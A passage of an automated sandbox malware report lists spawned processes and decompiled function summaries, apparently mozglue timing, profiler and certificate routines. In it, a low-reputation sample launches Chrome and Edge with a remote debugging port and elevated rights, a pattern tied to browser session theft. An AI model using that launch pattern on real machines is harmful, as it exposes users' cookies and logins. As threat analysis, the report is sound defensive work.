Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:34:15
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	23:34:15
Start date:	29/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2408 --field-trial-handle=2328,i,13610718325922863357,13994508100536033247,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:34:26
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:34:27
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	23:34:27
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2840 --field-trial-handle=2604,i,16310004041728458876,8717839349625017858,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:34:28
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2112 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	23:34:33
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7192 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	23:34:33
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7344 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	23:34:33
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	23:34:33
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6084 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	23:35:28
Start date:	29/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7388 --field-trial-handle=1984,i,10115348211612690469,17519687364744320367,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA235A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAF688,00001000), ref: 6CA235D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA235E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA235FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA2363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA2369F
__aulldiv.LIBCMT ref: 6CA236E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA23773
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA2377E
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA237BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA237C4
EnterCriticalSection.KERNEL32(6CAAF688), ref: 6CA237CB
LeaveCriticalSection.KERNEL32(6CAAF688), ref: 6CA23801
__aulldiv.LIBCMT ref: 6CA23883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA23902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA23918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA2394C

Strings

QPC, xrefs: 6CA238FC
MOZ_TIMESTAMP_MODE, xrefs: 6CA235DB
AuthcAMDenti, xrefs: 6CA23946
GTC, xrefs: 6CA23912
GenuntelineI, xrefs: 6CA23639

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: ad81ef2b799e53f2b489d2d8a13d0a1820640b839674dd8244d713d810dc6130
Instruction ID: 6b7effd8cddb780c60dc04bce9645383d6a30accca6967e2c63d7102ca687b36
Opcode Fuzzy Hash: ad81ef2b799e53f2b489d2d8a13d0a1820640b839674dd8244d713d810dc6130
Instruction Fuzzy Hash: EAB1D471B053529FDB0CCF68E84465EB7F9BB8A704F08C92EE899D3760D73498468B81

Function 6CA3C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA3C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA3C969
GetSystemInfo.KERNEL32(?), ref: 6CA3C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA3C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA3C9E2

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: d397259f1f018d44d4574f90d973e2c594b0f91bb567239138ad31ce486afa10
Instruction ID: 4c70814394e8b2edadd75668344cf3a4b644652df80fba201a31ee90c683d099
Opcode Fuzzy Hash: d397259f1f018d44d4574f90d973e2c594b0f91bb567239138ad31ce486afa10
Instruction Fuzzy Hash: 41212F3174133A5BD7195AE4EC94BAE7379BB4A708F51421DF907E7A40D7305C448790

Function 6CA23060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA23095

Part of subcall function 6CA235A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CAAF688,00001000), ref: 6CA235D5
Part of subcall function 6CA235A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA235E0
Part of subcall function 6CA235A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA235FD
Part of subcall function 6CA235A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA2363F
Part of subcall function 6CA235A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA2369F
Part of subcall function 6CA235A0: __aulldiv.LIBCMT ref: 6CA236E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA2309F

Part of subcall function 6CA45B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA456EE,?,00000001), ref: 6CA45B85
Part of subcall function 6CA45B50: EnterCriticalSection.KERNEL32(6CAAF688,?,?,?,6CA456EE,?,00000001), ref: 6CA45B90
Part of subcall function 6CA45B50: LeaveCriticalSection.KERNEL32(6CAAF688,?,?,?,6CA456EE,?,00000001), ref: 6CA45BD8
Part of subcall function 6CA45B50: GetTickCount64.KERNEL32 ref: 6CA45BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA230BE

Part of subcall function 6CA230F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA23127
Part of subcall function 6CA230F0: __aulldiv.LIBCMT ref: 6CA23140

Part of subcall function 6CA5AB2A: __onexit.LIBCMT ref: 6CA5AB30

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: ac195dbdc59137f4e4d9bc638640f0fe760694235baaef4a0cddaa6e06d3f766
Instruction ID: 9944f49f6a8da79c11c4e9adb0ab735cb80bd046d8c9b082ab4bcd052447bda0
Opcode Fuzzy Hash: ac195dbdc59137f4e4d9bc638640f0fe760694235baaef4a0cddaa6e06d3f766
Instruction Fuzzy Hash: D0F02622E2078B96CB18DFB4AD411EEB374AF6B114B54931DE89563521FB2061DD8391

Non-executed Functions

Function 6CA35440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CA35492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CA354A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CA354BE
__Init_thread_footer.LIBCMT ref: 6CA354DB

Part of subcall function 6CA5AB3F: EnterCriticalSection.KERNEL32(6CAAE370,?,?,6CA23527,6CAAF6CC,?,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB49
Part of subcall function 6CA5AB3F: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA23527,6CAAF6CC,?,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5AB7C

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

GetCurrentThreadId.KERNEL32 ref: 6CA354F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CA35516
GetCurrentThreadId.KERNEL32 ref: 6CA3556A
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA35577
moz_xmalloc.MOZGLUE(00000070), ref: 6CA35585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CA35590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CA355E6
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA35606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA35616

Part of subcall function 6CA5AB89: EnterCriticalSection.KERNEL32(6CAAE370,?,?,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284), ref: 6CA5AB94
Part of subcall function 6CA5AB89: LeaveCriticalSection.KERNEL32(6CAAE370,?,6CA234DE,6CAAF6CC,?,?,?,?,?,?,?,6CA23284,?,?,6CA456F6), ref: 6CA5ABD1

GetCurrentThreadId.KERNEL32 ref: 6CA3563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA35646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CA3567C
free.MOZGLUE(?), ref: 6CA356AE

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CA356E8
GetCurrentThreadId.KERNEL32 ref: 6CA35707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CA3570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CA35729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CA3574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CA3576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CA35796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CA357B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6CA357CA

Strings

MOZ_BASE_PROFILER_HELP, xrefs: 6CA35511
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6CA356E3
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA357C5
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA35766
MOZ_PROFILER_STARTUP, xrefs: 6CA355E1
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA35724
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA35791
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6CA35D2B
GeckoMain, xrefs: 6CA35554, 6CA355D5
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6CA357AE
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6CA3584E
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6CA35AC9
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6CA35CF9
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6CA35D1C
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CA3548D
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6CA35D24
[I %d/%d] profiler_init, xrefs: 6CA3564E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6CA35717
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CA354A3
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6CA35C56
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6CA35D01
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6CA35749
MOZ_BASE_PROFILER_LOGGING, xrefs: 6CA354B9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6CA35B38
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6CA35BBE

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 166ce55bda5e59b44716e3506f85de46ff7660013ed5f7bcf72e0e0d3075e5bf
Instruction ID: bc22ad7827411925343420f06c362559ff171322819341eb4ecb26717e47d087
Opcode Fuzzy Hash: 166ce55bda5e59b44716e3506f85de46ff7660013ed5f7bcf72e0e0d3075e5bf
Instruction Fuzzy Hash: 97222774A043129FE7049FB9D92825E77F5BF4634CF089A29E94AC7A41E731C4CACB52

Function 6CA6B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6B845
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000), ref: 6CA6B852
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6B884
InitializeConditionVariable.KERNEL32(?), ref: 6CA6B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6CA6B9FD
GetCurrentThreadId.KERNEL32 ref: 6CA6BA05
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8,?,?,00000000), ref: 6CA6BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6CA6BA27
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6BA4B
free.MOZGLUE(?), ref: 6CA6C9C7
free.MOZGLUE(?), ref: 6CA6C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6CA6C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6CA6C7DA

Memory Dump Source

Source File: 00000000.00000002.2659687535.000000006CA21000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2659661754.000000006CA20000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659774442.000000006CA9D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659807720.000000006CAAE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2659832056.000000006CAB2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 8e1544d2652dcc6382660d032cc06813978a9047b48a04d739a303358af41240
Instruction ID: 6952e2916756130458e3f04f5e677c589b74865aad0d4c85b56d8f3e4390dddf
Opcode Fuzzy Hash: 8e1544d2652dcc6382660d032cc06813978a9047b48a04d739a303358af41240
Instruction Fuzzy Hash: 19A28E71A083818FC725CF29D49079FB7E5BFC9318F048A2DE89997750DB709989CB82

Function 6CA36C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA36CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA36D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6CA36D26

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6CA36D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6CA36D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6CA36D73
free.MOZGLUE(00000000), ref: 6CA36D80
CertGetNameStringW.CRYPT32 ref: 6CA36DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6CA36DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA36DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6CA36DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6CA36E10
CryptMsgClose.CRYPT32(00000000), ref: 6CA36E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6CA36E34
CreateFileW.KERNEL32 ref: 6CA36EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6CA36F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6CA36F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6CA3709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6CA37103
free.MOZGLUE(00000000), ref: 6CA37153
CloseHandle.KERNEL32(?), ref: 6CA37176
__Init_thread_footer.LIBCMT ref: 6CA37209
__Init_thread_footer.LIBCMT ref: 6CA3723A
__Init_thread_footer.LIBCMT ref: 6CA3726B
__Init_thread_footer.LIBCMT ref: 6CA3729C
__Init_thread_footer.LIBCMT ref: 6CA372DC
__Init_thread_footer.LIBCMT ref: 6CA3730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA373C2
VerSetConditionMask.NTDLL ref: 6CA373F3
VerSetConditionMask.NTDLL ref: 6CA373FF
VerSetConditionMask.NTDLL ref: 6CA37406
VerSetConditionMask.NTDLL ref: 6CA3740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA3741A
moz_xmalloc.MOZGLUE(?), ref: 6CA3755A
